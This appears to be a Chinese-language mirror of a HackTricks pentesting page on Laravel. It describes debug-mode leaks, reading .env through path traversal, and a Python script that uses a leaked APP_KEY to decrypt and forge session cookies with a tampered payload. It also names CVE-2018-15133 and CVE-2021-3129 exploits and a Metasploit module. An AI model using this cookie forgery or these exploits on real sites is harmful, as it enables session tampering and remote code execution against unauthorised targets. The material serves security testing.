mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 02:20:20 +00:00
120 lines
7.6 KiB
Markdown
120 lines
7.6 KiB
Markdown
# Laravel
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一个**网络安全公司**工作吗？你想在HackTricks中看到你的**公司广告**吗？或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
## Laravel技巧
|
||
|
||
### 调试模式
|
||
|
||
如果Laravel处于**调试模式**，你将能够访问**代码**和**敏感数据**。\
|
||
例如 `http://127.0.0.1:8000/profiles`:
|
||
|
||
.png>)
|
||
|
||
这通常用于利用其他Laravel RCE CVE。
|
||
|
||
### .env
|
||
|
||
Laravel将用于加密cookie和其他凭据的APP保存在一个名为`.env`的文件中，可以通过一些路径遍历访问：`/../.env`
|
||
|
||
Laravel还会在调试页面中显示此信息（当Laravel发现错误并激活时）。
|
||
|
||
使用Laravel的秘密APP\_KEY，你可以解密和重新加密cookie：
|
||
|
||
### 解密Cookie
|
||
```python
|
||
import os
|
||
import json
|
||
import hashlib
|
||
import sys
|
||
import hmac
|
||
import base64
|
||
import string
|
||
import requests
|
||
from Crypto.Cipher import AES
|
||
from phpserialize import loads, dumps
|
||
|
||
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
|
||
|
||
def mcrypt_decrypt(value, iv):
|
||
global key
|
||
AES.key_size = [len(key)]
|
||
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
||
return crypt_object.decrypt(value)
|
||
|
||
|
||
def mcrypt_encrypt(value, iv):
|
||
global key
|
||
AES.key_size = [len(key)]
|
||
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
|
||
return crypt_object.encrypt(value)
|
||
|
||
|
||
def decrypt(bstring):
|
||
global key
|
||
dic = json.loads(base64.b64decode(bstring).decode())
|
||
mac = dic['mac']
|
||
value = bytes(dic['value'], 'utf-8')
|
||
iv = bytes(dic['iv'], 'utf-8')
|
||
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
|
||
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
|
||
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
|
||
return ''
|
||
|
||
|
||
def encrypt(string):
|
||
global key
|
||
iv = os.urandom(16)
|
||
#string = dumps(string)
|
||
padding = 16 - len(string) % 16
|
||
string += bytes(chr(padding) * padding, 'utf-8')
|
||
value = base64.b64encode(mcrypt_encrypt(string, iv))
|
||
iv = base64.b64encode(iv)
|
||
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
|
||
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
|
||
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
|
||
|
||
app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
|
||
key = base64.b64decode(app_key)
|
||
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
|
||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||
```
|
||
### Laravel反序列化远程代码执行（RCE）
|
||
|
||
受影响版本：5.5.40和5.6.x至5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||
|
||
在这里可以找到有关反序列化漏洞的信息：[https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.f-secure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||
|
||
您可以使用以下链接进行测试和利用：[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||
或者您也可以使用Metasploit进行利用：`use unix/http/laravel_token_unserialize_exec`
|
||
|
||
### CVE-2021-3129
|
||
|
||
另一个反序列化漏洞：[https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||
|
||
### Laravel SQL注入
|
||
|
||
阅读有关此漏洞的信息：[https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品：[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|